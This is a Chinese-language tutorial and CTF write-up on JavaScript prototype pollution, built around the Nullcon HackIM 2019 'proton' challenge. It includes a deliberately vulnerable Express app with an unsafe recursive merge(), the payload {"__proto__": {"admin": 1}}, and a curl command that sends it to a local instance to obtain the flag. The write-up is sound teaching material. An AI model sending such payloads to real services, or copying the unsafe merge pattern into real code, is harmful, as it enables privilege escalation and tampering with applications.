目录
简介
原型污染攻击, 如名所示, 是通过污染一个基础对象的原型来引发RCE。Olivier Arteau 完成了此项研究,并在NorthSec 2018中介绍了它的发生过程。让我们用Nullcon HackIm 2019 challenge中的proton
来深入地了解一下它的触发过程。
javaScript中的对象
javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性。举例说明如下(你可以用浏览器的控制台来自己执行一下试试):
var obj = {
"name": "0daylabs",
"website": "blog.0daylabs.com"
}
obj.name; // prints "0daylabs"
obj.website; // prints "blog.0daylabs.com"
console.log(obj); // 打印出了整个对象以及它所有的属性
在上述例子中,name
和website
是对象obj
的属性。如果你仔细观察上述语句,就可以发现除了我们显式定义的内容,console.log
还打印了很多额外的信息,这些多出来的信息是来自于哪里呢?
Object
是最基础的对象,其他所有的对象都是通过它创建的。在对象创建期间,我们可以通过传递一个null
参数创建一个空对象(没有任何属性),但默认情况下,它会创建一个与其值类型相对应的的对象,并将所有属性继承给新创建的对象(除非值为null)。
console.log(Object.create(null)); // prints an empty object
javaScript中的函数/类
在javaScript中,函数和类的概念是相对的(函数本身充当类的构造函数,而且也没有一个显式的表示类的方法)。让我们举个例子:
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
this.details = function() {
return this.fullName + " has age: " + this.age;
}
}
console.log(person.prototype); // prints the prototype property of the function
/*
{constructor: ƒ}
constructor: ƒ person(fullName, age)
__proto__: Object
*/
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
console.log(person1);
/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
constructor: ƒ person(fullName, age)
arguments: null
caller: null
length: 2
name: "person"
prototype: {constructor: ƒ}
__proto__: ƒ ()
[[FunctionLocation]]: VM134:1
[[Scopes]]: Scopes[1]
__proto__: Object
*/
console.log(person2);
/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
constructor: ƒ person(fullName, age)
arguments: null
caller: null
length: 2
name: "person"
prototype: {constructor: ƒ}
__proto__: ƒ ()
[[FunctionLocation]]: VM134:1
[[Scopes]]: Scopes[1]
__proto__: Object
*/
person1.details(); // prints "Anirudh has age: 25"
在上述例子中,我们定义了一个名为person
的函数,然后创建了两个对象,分别叫做person1
和person2
。如果仔细观察新创建的函数和对象的属性,我们可以发现2件事:
- 当函数被创建的时候,JavaScript引擎在函数里添加了一个
prototype
属性。这个原型属性是一个对象(叫做原型对象)且默认有一个constructor属性,该属性指向一个函数,在这个函数中,原型对象是一个属性。 - 当一个对象被创建的时候,JavaScript引擎会添加一个
__proto__
属性到新创建的对象中,这一属性指向构造函数的原型对象。简而言之,object.__proto__
指向function.prototype
。
constructor是什么?
Constructor
是一个神奇的属性,它返回用于创建这个对象的函数。原型对象有一个Constructor,它指向函数本身而且Constructor的Constructor是一个全局函数Constructor。
var person3 = new person("test", 55);
person3.constructor; // prints the function "person" itself
person3.constructor.constructor; // prints ƒ Function() { [native code] } <- Global Function constructor
person3.constructor.constructor("return 1");
/*
ƒ anonymous(
) {
return 1
}
*/
// Finally call the function
person3.constructor.constructor("return 1")(); // returns 1
javaScript中的原型
在这里要注意的一点是prototype属性可以在运行时被修改(增/删/改)。比如:
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
}
var person1 = new person("Anirudh", 25);
person.prototype.details = function() {
return this.fullName + " has age: " + this.age;
}
console.log(person1.details()); // prints "Anirudh has age: 25"
在上面这段代码中我们通过添加一个新属性的方式修改了函数的prototype,使用对象我们也可以达到同样的效果:
function person(fullName, age) {
this.age = age;
this.fullName = fullName;
}
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
// Using person1 object
person1.constructor.prototype.details = function() {
return this.fullName + " has age: " + this.age;
}
console.log(person1.details()); // prints "Anirudh has age: 25"
console.log(person2.details()); // prints "Anand has age: 45" :O
有发现一些可疑的东西吗?我们修改了person1
对象但为什么person2
也被修改了?原因是在第一个例子中我们是使用person.prototype
添加的属性,而在第二个例子中我们是通过使用对象来实现同样的效果的。我们知道,constructor返回的是创建对象时的函数,所以person1.constructor
指向person
本身,而person1.constructor.prototype
和person.prototype
相同。
原型污染
让我们举个例子,obj[a][b] = value
,如果攻击者可以控制a
和value
,他就可以把a
的值设为__proto__
,而程序中所有对象中的属性b
的值会被设为value
。
攻击者所做的事情并不像上面这个例子这么简单,根据论文所介绍的,只有在下面3个条件同时满足时,漏洞利用才会发生:
- 对象递归合并
- 属性通过路径定义
- 对象克隆
我们先看看Nullcon HackIM比赛中的实战例子,这场比赛中通过迭代MongoDB id(这不重要),我们能够获得下列源代码:
'use strict';
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.name) {
res.cookie('name', copybody.name).json({
"done": "cookie set"
});
} else {
res.json({
"error": "cookie not set"
})
}
});
app.get('/getFlag', (req, res) => {
var аdmin = JSON.parse(JSON.stringify(req.cookies))
if (admin.аdmin == 1) {
res.send("hackim19{}");
} else {
res.send("You are not authorized");
}
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);
代码以一个merge
函数开头,事实上这种合并两个对象的方式是不安全的。因为在最新的库中merge()
函数已经被打了补丁,所以在这场比赛中故意使用了旧的merge
函数的实现方法。
我们可以发现,在上述代码中有两个admin
的定义,一个是const admin
另一个是var admin
。理想情况下,JavaScript不允许将Const变量再次定义为var,因此这必须是不同的。要花很长时间才能想明白其中一个是正常的a
,而另一个a
表示另一种含义。所以与其花时间在这里,我把其中重命名为正常的a
,这样,一旦问题解决,我们就可以发送payload了。
从这场比赛的源代码中,我们可以发现下述问题:
-
Merge()函数的实现方式使得原型污染可以发生(更多的分析在这篇文章之后),所以我们确实需要使用原型污染来解决这个问题。
-
在通过
clone(body)
发送/signup
调用merge
的时候,我们可以在signing up的时候发送我们的JSON payload,在payload中可以添加admin
属性,然后调用/getflag
获取flag。 -
正如上面讨论的那样,我们可以使用
__proto__
(指向constructor.prototype
)来用值1
创建admin
属性。
最简单的payload是:{"__proto__": {"admin": 1}}
所以最终的解决这个题目的payload(使用curl是因为我用burp发送不了)是:
curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'
Merge()为什么不安全?
一个很显眼的问题是,为什么merge()函数不安全?下面是原因:
-
这个函数对对象
b
的所有属性进行迭代(因为对象b
在键值对相同的情况下拥有更高的优先级) -
如果属性同时存在于第一个和第二个参数中,且他们都是
Object
,它就会递归地合并这个属性。 -
现在我们如果控制
b[attr]
的值,使其值变成__proto__
,且我们能控制b
中__proto__
属性的值,在递归的时候,a[attr]
在某个特定的时候就会指向对象a
的prototype
,我们就能成功地添加一个新的属性到所有的对象中了。
仍然没看懂?这不怪你,因为要理解这个概念我也是花了很长的时间才明白。我们先写个debug语句来看看具体发生了什么。
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
function merge(a, b) {
console.log(b); // prints { __proto__: { admin: 1 } }
for (var attr in b) {
console.log("Current attribute: " + attr); // prints Current attribute: __proto__
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
function clone(a) {
return merge({}, a);
}
我们先试着发送上面的curl请求。可以发现,对象b
的值目前是:{ __proto__: { admin: 1 } }
,其中__proto__
只是一个属性名,并不指向函数的prototype
,接下来的函数merge()
中,for (var attr in b)
迭代每个属性,而其中第一个属性就是__proto__
。
因为__proto__
总是对象类型的,所以继续递归调用,也就是调用merge(a[__proto__], b[__proto__])
.这样就能帮助我们访问a
的函数原型,并向里面添加一个b
中的属性。